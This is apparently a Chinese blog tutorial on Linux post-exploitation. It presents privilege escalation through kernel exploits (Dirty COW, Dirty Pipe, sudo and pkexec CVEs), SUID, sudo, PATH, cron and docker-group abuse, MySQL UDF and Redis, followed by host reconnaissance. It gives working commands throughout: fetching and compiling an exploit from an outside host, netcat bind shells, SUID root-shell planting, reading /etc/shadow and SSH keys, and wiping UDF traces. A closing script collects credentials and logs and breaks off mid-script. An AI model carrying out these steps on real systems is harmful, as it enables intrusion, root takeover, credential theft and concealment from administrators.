• Linux内网渗透


    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的。本片文章将从拿到一个Linux shell开始,介绍Linux内网渗透技术,分为容器逃逸、Linux提权、Linux信息收集、Linux隧道技术、Linux横向移动、Linux权限维持、Linux痕迹清理几个部分。

    容器逃逸

    容器逃逸的应用主要是,拿到shell之后,发现是docker环境,要进一步渗透,就必须逃逸到宿主机。

    容器逃逸方法见:
    https://www.cnblogs.com/yokan/p/16049516.html

    Linux提权

    Linux提权大概可以分为下面几种:

    系统内核提权;第三方服务提权;数据库提权;密码收集提权;键盘记录提权;Suid提权;Sudo提权;反弹shell提权。

    提权辅助工具

    GTFOBins

    https://gtfobins.github.io/

    GTFOBins是一个精心策划的Unix二进制文件列表,可以用来绕过错误配置系统中的本地安全限制。该项目收集了Unix二进制文件的合法函数,这些函数可能被滥用,以打破受限制的shell,升级或维护提升的特权,传输文件,生成绑定和反向shell,并为其他事后利用任务提供便利。需要注意的是,这不是一个漏洞列表,这里列出的程序本身并不容易受到攻击,相反,GTFOBins是一个概要,说明当您只有某些二进制文件可用时,如何获得root权限

    BeRoot

    https://github.com/AlessandroZ/BeRoot/tree/master/Linux

    BeRoot用于检查Linux和Mac OS上常见的错误配置,以找到一种方法来升级我们的特权。检查项包括GTFOBins中的二进制文件、通配符错误、suid、环境变量、NFS、sudo等等,详细可以去上面链接看。

    pspy

    https://github.com/DominicBreuker/pspy

    Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。

    traior

    https://github.com/liamg/traitor

    多个linux提权漏洞缝合怪。

    Traitor 打包了一堆方法来利用本地错误配置和漏洞来自动提权:

    • 几乎所有的GTFOBins
    • 可写 docker.sock
    • CVE-2022-0847(脏管)
    • CVE-2021-4034 (pwnkit)
    • CVE-2021-3560

    0x00 基础信息收集

    在说提权之前先介绍一下基本的信息收集命令,为后续的提权做准备。

    1、内核,操作系统和设备信息

    uname -a  打印所有可用的系统信息
    uname -r  内核版本
    uname -n  系统主机名。
    uname -m  查看系统内核架构(64位/32位)
    hostname  系统主机名
    lsb_release -a   发行版信息
    cat /proc/version  内核信息
    cat /etc/*-release  发行版信息
    cat /etc/issue    发行版信息
    cat /proc/cpuinfo  CPU信息
    

    2、用户和群组

    cat /etc/passwd     列出系统上的所有用户
    cat /etc/group      列出系统上的所有组
    groups              当前用户所在的组
    groups test         test用户所在的组
    getent group xxx      xxx组里的用户
    grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
    whoami              查看当前用户
    w                   谁目前已登录,他们正在做什么
    last                最后登录用户的列表
    lastlog             所有用户上次登录的信息
    lastlog –u %username%  有关指定用户上次登录的信息
    

    3、用户和权限信息

    whoami        当前用户名
    id            当前用户信息
    cat /etc/sudoers  谁被允许以root身份执行
    sudo -l       当前用户可以以root身份执行操作
    

    yokan用户可以以root身份执行任意操作

    4、环境信息

    env        显示环境变量
    echo %PATH 路径信息
    history    显示当前用户的历史命令记录
    pwd        输出工作目录
    cat /etc/profile   显示默认系统变量
    cat /etc/shells    显示可用的shell
    

    0x01 内核漏洞提权

    提示:内核漏洞提权有风险,有可能会崩溃系统。

    内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集,收集方法参考第一小节基础信息收集即可。

    大多内核漏洞通过内核版本能很快查到

    SearchSploit

    用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

    SearchSploit是一个Exploit-DB的命令行搜索工具,它还允许随身携带漏洞利用数据库的副本。

    介绍:https://xz.aliyun.com/t/2860

    SearchSploit使用:

    更新SearchSploit:

     apt update && apt -y full-upgrade
     searchsploit -u
    

    基本搜索语法:

    只需添加您想要查找的任意数量的搜索词:

    searchsploit linux 2.6 ubuntu priv esc
    
    Tip:如果你没有收到预期的结果,可以使用更通用的术语进行更广泛的搜索。如:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x。
    Tip:不要使用缩写如:SQLi -> SQL Injection。
    

    显示漏洞利用的完整路径:

    -p, --path [EDB-ID]     显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
    

    不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录:

    -m, --mirror [EDB-ID]   把一个exp拷贝到当前工作目录,参数后加目标id
    

    exp利用:

    将exp上传到目标技巧,编译运行(编译方法,在源码的注释里有)

    gcc 9545.c -o exp
    chmod 777 exp
    ./exp
    

    当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌。

    最后强调利用内核漏洞的几个注意点

    1.读源码注释,有exp基本信息和编译方法,不然可能连编译都不会
    2.读源码,不然费劲编译完才发现不适用
    3.读源码,不然遇到一个删全盘的”exp“怎么办

    脏牛漏洞(CVE-2016-5195)

    漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
    漏洞编号:CVE-2016-5195
    漏洞名称:脏牛(Dirty COW)
    漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
    影响范围:3.9>Linux kernel >=2.6.22 并且Android也受影响

    利用脚本合集:PoCs · dirtycow/dirtycow.github.io Wiki

    漏洞复现:

    先查看一下系统版本信息

    linux kernel版本2.6.32,应该可以用脏牛提权。下载脏牛提权脚本

    这里使用dirty.c这个exp:

    这个exp利用了dirtycow漏洞的pokemon漏洞 。会自动生成一个新的passwd行。 运行二进制文件时,会提示用户输入新密码。 原/etc/passwd文件会备份到/tmp/passwd.bak下 ,用生成的行覆盖根帐户。运行该漏洞后,你应该能够登录新创建的用户。 使用此漏洞可以根据您的需要修改用户值。 默认为“firefart”用户。

    上传到目标系统tmp目录下

    在/tmp目录下直接起一个命令行,然后编译运行脚本

    此时切换到firefart用户,密码为123456

    执行id命令后可以看到已经为root用户了,成功提权。

    Dirty Pipe(CVE-2022-0847)

    利用条件

    5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
    

    EXP:

    https://haxx.in/files/dirtypipez.c 
    #原理为 直接修改一个具有suid权限的可执行文件,然后执行这个可执行文件提权,完成提权后再把文件改回来
    
    or
    
    https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
    #原理为  覆盖 /etc/passwd 中的 root 密码字段并在弹出 root shell 后恢复
    

    利用:

    wget https://haxx.in/files/dirtypipez.c
    gcc -o dirtypipez dirtypipez.c
    ./dirtypipez /usr/bin/su  #任何具体suid权限的文件均可
    

    0x02 SUID 提权

    什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权

    推荐阅读P神的这篇文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

    常见的可用来提权的Linux 可执行文件有:

    Nmap, Vim, find, bash, more, less, nano, cp

    查看可以suid 提权的可执行文件:

    find / -perm -u=s -type f 2>/dev/null
    或者
    find / -user root -perm -4000 -print 2>/dev/null
    

    下面列举几个常见的设置了SUID的应用程序提权手段:

    • find
    ls -al /usr/bin/find
    -rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find
    

    实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

    比如:DC -1 靶机就是利用find 命令进行root 用户来执行命令

    大部分Linux 系统都安装了nc。使用如下命令即可成功得到root shell:

    find / -type f -exec /bin/bash \;
    或
    find / -exec nc -lvp 5555 -e /bin/sh \;
    nc ip port
    

    测试:

    chomod u+s /usr/bin/find   #chmod u+s  给某个程序的所有者suid权限。
    

    • nmap

    较旧版本的Nmap(2.02≤nmap<5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)

    可以使用下命令进入namp交互模式

    nmap --interactive
    

    执行命令后会返回一个shell

    nmap> !sh
    sh-3.2# whoami
    root
    

    5.2.0 之后,nmap 还可以通过执行脚本来提权:

    在某些发行版的Linux 可能会提权失败。具体原理移步p 师傅文章

    # nse脚本 shell.nse
    os.execute('/bin/sh')
    # nmap 提权
    nmap --script=shell.nse 
    

    或者

    echo 'os.execute("/bin/sh")' > getshell
    sudo nmap --script=getshell
    
    • vim

    如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

    vim /etc/shadow
    

    vim 运行shell

    vim
    :set shell=/bin/sh
    :shell
    

    同理,满足条件的 lessmore 都可。

    • awk
    awk 'BEGIN {system("/bin/bash")}'
    
    • strace
    strace -o/dev/null /bin/bash
    

    0x03 利用环境变量提权

    利用关键在于找到具有SUID权限的文件,环境变量中有自己能控制的路径,比如当前目录(.)

    详细文章参考:https://xz.aliyun.com/t/2767

    PATH 是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

    使用echo命令显示当前PATH环境变量:

    测试:

    环境配置:

    现在我们的当前目录是/home/yokan,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。

    pwd
    mkdir script
    cd /script
    nano demo.c
    

    demo.c文件内容如下图,你可以看到,我们调用了ps命令,即系统二进制文件:

    然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:

    gcc demo.c -o shell    #需要以root权限编译
    chmod u+s shell
    ls -la shell
    

    攻击利用

    首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。

    find / -perm -u=s -type f 2>/dev/null
    

    通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/yokan/script目录下的shell文件具有SUID权限,如图:

    于是我们cd到/home/yokan/script/目录下,ls一下,看到了名为shell的可执行文件。我们运行一下这个文件,可以看到shell文件尝试执行ps命令,这个命令是/bin目录下的用来查看进程状态的真实文件。

    ls
    ./shell
    

    提权:

    echo命令

    cd /tmp
    echo “/bin/bash” > ps
    chmod 777 ps
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/yokan/script
    ./shell
    whoami
    

    其他更多的方法参考上面的文章。

    0x04 利用第三方服务提权

    当一些第三方服务,以root身份运行, 我们通过它拿到的shell就是root权限。

    netstat -antup该命令可以显示所有打开并正在监听的端口,我们可以通过此命令检查是否有可以利用的本地服务

    ps -aux | grep root 该命令可以显示以root用户身份运行的服务

    Docker 组提权

    docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
    组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

    docker组内用户执行如下命令,即可获得root权限

    docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
    
    #参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS
    这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
    

    测试:

    创建了个用户dockertest加入了docker组,然后执行如下命令,获得root权限

    docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
    

    MySQL UDF 提权

    先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤

    提权步骤:

    1. 获取udf代码
    sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll‘。
    
    sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
    sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_
    
    但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
    可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
    cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
    
    sqlmap中的udf文件提供的函数:
    sys_eval,执行任意命令,并将输出返回。
    sys_exec,执行任意命令,并将退出码返回。
    sys_get,获取一个环境变量。
    sys_set,创建或修改一个环境变量。
    
    1. 将udf文件上传到指定位置
    MySQL<5.0,导出路径随意;
    5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
    MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
    
    select @@basedir;  #查看mysql安装目录
    select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
    select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
    select 0xUDFcode into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll';  #导出udfcode,注意修改udfcode
    
    1. 从udf文件中引入自定义函数
    create function sys_eval returns string soname 'udf.dll';    
    //sys_eval是函数名称(可选shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上传后的文件名
    
    1. 执行命令
    select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
    select sys_eval('whoami');                           #使用系统命令
    
    1. 痕迹清除
    drop function sys_eval; #删除函数
    delete from mysql.func where name='sys_eval' #删除函数
    

    redis提权

    如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。

    详细参考《Redis基础与简单利用.docx》

    0x05 Sudo提权

    一旦攻击者有权访问任何SUDO用户,那么他基本上就可以使用root权限执行任何命令。管理员可能只允许用户通过SUDO运行一些命令,但绝对不是所有命令,即使是使用这样的配置,他们也可能会在不知情的情况下引入漏洞,从而导致权限提升的风险。

    无密码:

    sudo -l打印允许作为SUDO运行的命令

    假如我们被允许以sudo运行find、cat、vi、more、less、nmap、perl、ruby、gdb、python等任何编程语言编译器、解释器和编辑器,那么我们就可以通过这些命令,获得root权限。

    实际环境中不一定会这么明显显示可用命令,某些配置也是可以使用这几个命令的,如果对sudo机制不熟悉,可以直接使用sudo+命令 测试是否可用。

    例如 vi命令:

    进入底线命令模式,输入:!/bin/bash,即可打开一个用户为root的shell

    sudo vi test.txt
    :!/bin/bash
    

    有密码:

    如果知道sudo组用户的密码,可以直接sudo -i提权。

    sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。

    补充:

    直接在低权shell里面用sudo是不奏效的,这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。

    python就有这样的功能。在shell里面输入:

    python -c 'import pty;pty.spawn("/bin/sh")'
    

    就用python建立了一个虚拟终端,然后就可以使用sudo等等命令了。

    Linux sudo权限提升漏洞(CVE-2021-3156)

    非常好用

    概述

    当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

    影响版本

    sudo 1.8.2 - 1.8.31p2

    sudo 1.9.0 - 1.9.5p1

    查看sudo版本

    命令:sudo --version

    POC

    https://github.com/worawit/CVE-2021-3156

    复现

    sudo --version
    

    python exploit_defaults_mailer.py
    
    /tmp/sshell
    

    0x06 文件权限配置不当

    当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。

    pspy(https://github.com/DominicBreuker/pspy)工具提供了普通用户权限即可监听进程信息

    测试环境:

    首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。

    利用:

    我们获取普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:

    尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:

    我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:

    发现成功提权,以ROOT权限启动自定义命令:

    0x07 计划任务配置不当

    Cron任务常常以root权限运行。如果我们可以成功篡改Cron任务中定义的任何脚本或二进制文件,我们便可以使用root权限执行任意代码。

    查看计划任务的方法:

    crontab -l
    ls -alh /var/spool/cron
    cat /etc/cron*
    

    举例:

    ls -la /etc/cron.d 打印cron.d中已经存在的Cron任务。

    find / -perm -2 -type f 2>/dev/null 打印全局可写入文件

    cron-logrotate.sh是全局可写入的,它由cronjob运行。我们在cron-logrotate.sh中写入/添加的任何命令都会以root身份执行

    我们在/tmp目录下编写一个C文件,并对其进行编译:

    rootme可执行文件会产生一个Shell。ls -la rootme 说明该文件由用户SHayslett拥有。

    然后执行下面命令,将可执行文件的所有者和分组修改为root,同时也会设置SUID位:

    echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh
    

    待logrotate Cron任务以root权限运行后,

    运行./rootme产生一个root Shell

    Linux Polkit权限提升漏洞(CVE-2021-4034)

    漏洞描述:该漏洞是由于pkexec无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root权限。

    受影响linux

    2009年5月至 2022 年1月26日发布的所有 Polkit 版本
    Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。

    受影响国产化操作系统:
    银河麒麟高级服务器操作系统 V10
    银河麒麟高级服务器操作系统 V10 SP1
    银河麒麟高级服务器操作系统 V10 SP2
    统信 UOS 服务器操作系统 V20
    银河麒麟桌面版操作系统 V10
    银河麒麟桌面版操作系统 V10 SP1
    统信 UOS 桌面版操作系统 V20
    中标麒麟桌面版操作系统 V7.0

    版本检测:

    Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:

    CentOS、RedHat 系列:

    rpm -qa polkit
    

    Debian、Ubuntu 系列:

    dpkg -l policykit-1
    

    不受影响版本

    CentOS:

    CentOS 6:polkit-0.96-11.el6_10.2
    CentOS 7:polkit-0.112-26.el7_9.1
    CentOS 8.0:polkit-0.115-13.el8_5.1
    CentOS 8.2:polkit-0.115-11.el8_2.2
    CentOS 8.4:polkit-0.115-11.el8_4.2
    

    Ubuntu:

    Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
    Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
    Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
    Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
    Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
    

    Debain:

    Debain stretch:policykit-1 0.105-18+deb9u2
    Debain buster:policykit-1 0.105-25+deb10u1
    Debain bullseye:policykit-1 0.105-31+deb11u1
    Debain bookworm,bullseye:policykit-1 0.105-31.1
    

    漏洞复现:

    CentOS环境

    利用:

    exp网上很多。也很稳定。也算是个”神洞“了。

    Linux信息收集

    本机基本信息

    #管理员
    $普通用户
    @之前表示登录的用户名称,之后表示主机名,再之后表示当前所在目录
    / 表示根目录  
    ~表示当前用户家目录
    

    1、内核,操作系统和设备信息

    uname -a  打印所有可用的系统信息
    uname -r  内核版本
    uname -n  系统主机名。
    uname -m  查看系统内核架构(64位/32位)
    hostname  系统主机名
    lsb_release -a   发行版信息
    cat /proc/version  内核信息
    cat /etc/*-release  发行版信息
    cat /etc/issue    发行版信息
    cat /proc/cpuinfo  CPU信息
    

    2、用户和群组

    cat /etc/passwd     列出系统上的所有用户
    cat /etc/shadow     查看用户Hash
    cat /etc/group      列出系统上的所有组
    groups              当前用户所在的组
    groups test         test用户所在的组
    getent group xxx      xxx组里的用户
    
    grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
    awk -F: 'length($2)==0 {print $1}' /etc/shadow  #查看是否存在空口令用户
    awk '/\$1|\$6/{print $1}' /etc/shadow #查看远程登录的账号 
    
    whoami              查看当前用户
    w                   谁目前已登录,他们正在做什么
    who                 命令用于显示系统中有哪些使用者正在上面
    last                最后登录用户的列表
    lastlog             所有用户上次登录的信息
    lastlog –u %username%  有关指定用户上次登录的信息
    

    3、用户和权限信息

    whoami        当前用户名
    id            当前用户信息
    cat /etc/sudoers  可以使用sudo提升到root的用户
    sudo -l       当前用户可以以root身份执行操作
    

    yokan用户可以以root身份执行任意操作

    4、环境信息

    env        显示所有的环境变量
    set        显示本地环境变量
    echo $PATH 环境变量中的路径信息
    export [-fnp][变量名称]=[变量设置值]     显示和设置环境变量   
    pwd        输出工作目录
    cat /etc/profile   显示默认系统变量
    cat /etc/shells    显示可用的shell
    ls -la /etc/*.conf  查看etc下所有配置文件
    

    5、历史命令

    显示当前用户的历史命令记录

    history    
    cat ~/.bash_history  
    
    # 查看其他用户的历史命令文件
    cat /home/user/.bash_history
    

    history显示内存和~/.bash_history中的所有内容
    内存中的内容并没有立刻写入~/.bash_history,只有当当前shell关闭时才会将内存内容写入shell

    6、进程信息

    ps aux   以用户的格式显示所有进程,包括非终端的进程
    ps -ef   显示所有进程,显示UID,PPIP(父进程),C与STIME栏位
    ps -ef | grep java   查询某个应用的所有进程信息
    top      实时显示占用最多的进程
    

    如果想查看进程的CPU占用率和内存占用率,可以使用aux

    如果想查看进程的父进程ID和完整的COMMAND命令,可以使用-ef

    lsof -c $PID           查看进程关联文件
    /proc/$PID/cmdline     完整命令行信息 
    /proc/$PID/comm        进程的命令名 
    /proc/$PID/cwd         进程当前工作目录的符号链接 
    /proc/$PID/exe         运行程序的符号链接 
    /proc/$PID/environ     进程的环境变量 
    /proc/$PID/fd          进程打开文件的情况 
    

    7、服务信息

    cat /etc/services      查询存在的服务
    cat /etc/services | grep Java     查询对应的服务
    systemctl list-units --type=service --state=running   查询已经开启的服务
    

    8、计划任务

    在Linux系统中,计划任务一般是由cron承担。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

    /var/spool/cron/crontabs :这个目录以账号来区分每个用户自己的执行计划
    /etc/crontab :系统执行计划,需要在后边加上用户格式
    
    所有计划任务项:
    /var/spool/cron/*
    /var/spool/anacron/*
    /etc/crontab
    /etc/anacrontab
    /etc/cron.*
    /etc/anacrontab
    
    crontab -l    查询当前用户所有的计划任务
    crontab -l -u user   查询指定用户的计划任务
    cat /var/spool/cron/crontabs/root   查询root用户的计划任务
    

    9、网络、路由和通信

    查询ip

    ifconfig
    ip addr
    

    打印路由信息

    route         查询路由表
    route -n      查询路由表,以ip地址显示
    netstat -r    查询路由表
    ip ro
    

    查看系统arp表

    arp -a
    

    端口开放情况

    netstat -antup     所有端口
    netstat -antp      tcp端口
    netstat -anup      udp端口
    

    查看端口服务映射

    cat /etc/services
    

    列出iptables的配置规则

    iptables -L
    

    显示网卡信息

    netstat -i
    

    dns信息

    cat /etc/resolv.conf      查看dns配置信息
    dnsdomainname -V          打印DNS系统中FQDN名称中的域名
    cat /etc/hosts            查看hosts域名解析文件
    

    10、已安装应用

    rpm -qa --last     #Redhat、CentOS
    rpm -qa polkit     #查看指定应用的安装版本
    
    dpkg -l            #ubuntu、debian
    dpkg -l policykit-1   #查看指定应用的安装版本
    dpkg -L xxx        #查询某个软件所关联的文件
    

    11、查找能写或执行的目录

    find / -writable -type d 2>/dev/null
    find / -perm -o+w -type d 2>/dev/null
    find / -perm -o+x -type d 2>/dev/null
    

    12、防火墙

    iptables -L   查看防火墙配置
    
    查看防火墙状态:
    systemctl status firewalld
    service iptables status
    暂时关闭防火墙:
    systemctl stop firewalld
    service iptables stop
    永久关闭防火墙:
    systemctl disable firewalld
    chkconfig iptables off
    重启防火墙:
    systemctl enable firewalld
    service iptables restart
    

    13、敏感文件

    find命令 -o参数 表示 或者 的意思

    find / -type f -iname "*.bash_history" -o -iname "*config*" -o -iname "web.xml" -o -iname "*database*" -o -iname "*pass*" 2>/dev/null
    

    查找SSH密钥:

    find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls
    

    Web应用服务

    常见配置文件路径:

    /apache/apache/conf/httpd.conf
    /apache/apache2/conf/httpd.conf
    /apache/php/php.ini
    /bin/php.ini
    /etc/apache/apache.conf
    /etc/apache/httpd.conf
    /etc/apache2/apache.conf
    /etc/apache2/httpd.conf
    /etc/apache2/sites-available/default
    /etc/apache2/vhosts.d/00_default_vhost.conf
    /etc/httpd/conf.d/httpd.conf
    /etc/httpd/conf.d/php.conf
    /etc/httpd/conf/httpd.conf
    /etc/httpd/php.ini
    /etc/init.d/httpd
    /etc/php.ini
    /etc/php/apache/php.ini
    /etc/php/apache2/php.ini
    /etc/php/cgi/php.ini
    /etc/php/php.ini
    /etc/php/php4/php.ini
    /etc/php4.4/fcgi/php.ini
    /etc/php4/apache/php.ini
    /etc/php4/apache2/php.ini
    /etc/php4/cgi/php.ini
    /etc/php5/apache/php.ini
    /etc/php5/apache2/php.ini
    /etc/php5/cgi/php.ini
    /etc/phpmyadmin/config.inc.php
    /home/apache/conf/httpd.conf
    /home/apache2/conf/httpd.conf
    /home/bin/stable/apache/php.ini
    /home2/bin/stable/apache/php.ini
    /NetServer/bin/stable/apache/php.ini
    /opt/www/conf/httpd.conf
    /opt/xampp/etc/php.ini
    /PHP/php.ini
    /php/php.ini
    /php4/php.ini
    /php5/php.ini
    /usr/lib/php.ini
    /etc/nginx/nginx.conf
    /usr/lib/php/php.ini
    /usr/local/apache/conf/httpd.conf
    /usr/local/apache/conf/php.ini
    /usr/local/apache2/conf/httpd.conf
    /usr/local/apache2/conf/php.ini
    /usr/local/etc/php.ini
    /usr/local/httpd/conf/httpd.conf
    /usr/local/lib/php.ini
    /usr/local/php/lib/php.ini
    /usr/local/php4/lib/php.ini
    /usr/local/php4/lib/php.ini
    /usr/local/php4/php.ini
    /usr/local/php5/etc/php.ini
    /usr/local/php5/lib/php.ini
    /usr/local/php5/php5.ini
    /usr/local/share/examples/php/php.ini
    /usr/local/share/examples/php4/php.ini
    /usr/local/Zend/etc/php.ini
    /var/apache2/config.inc
    /var/httpd/conf/httpd.conf
    /var/httpd/conf/php.ini
    /var/httpd/conf/php.ini
    /var/local/www/conf/httpd.conf
    /var/local/www/conf/php.ini
    /var/www/conf/httpd.conf
    /web/conf/php.ini
    /www/conf/httpd.conf
    /www/php/php.ini
    /www/php4/php.ini
    /www/php5/php.ini
    /xampp/apache/bin/php.ini
    /xampp/apache/conf/httpd.conf
    

    数据库

    /etc/init.d/mysql
    /etc/my.cnf
    /etc/mysql/my.cnf
    /etc/mysql/my.cnf
    /var/lib/mysql/my.cnf
    /var/lib/mysql/mysql/user.MYD
    /usr/local/mysql/bin/mysql
    /usr/local/mysql/my.cnf
    /usr/share/mysql/my.cnf
    

    自动化脚本

    linux_info.sh

    #!/bin/bash
    
    #输出文件
    filename=$(date +%s)'.log'
    
    echo "信息收集"
    echo -e "\n" | tee -a $filename
    echo "账户信息收集" | tee -a $filename
    cat /etc/passwd | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "shadow" | tee -a $filename
    cat /etc/shadow | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "进程信息收集" | tee -a $filename
    ps aux | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "网络连接" | tee -a $filename
    netstat -antlp | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "当前用户:" $(whoami) 2>/dev/null | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "端口监听" | tee -a $filename
    netstat -lnpt | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "可登陆用户" | tee -a $filename
    cat /etc/passwd | grep -E -v 'nologin$|false' | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "增加用户的日志" | tee -a $filename
    grep "useradd" /var/log/secure  | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "History操作提取" | tee -a $filename
    cat ~/.*history | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "登录成功的IP" | tee -a $filename
    grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename   
    echo -e "\n" | tee -a $filename
    echo "查看路由表" | tee -a $filename
    route -n | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "查看 SSH key" | tee -a $filename
    sshkey=${HOME}/.ssh/authorized_keys
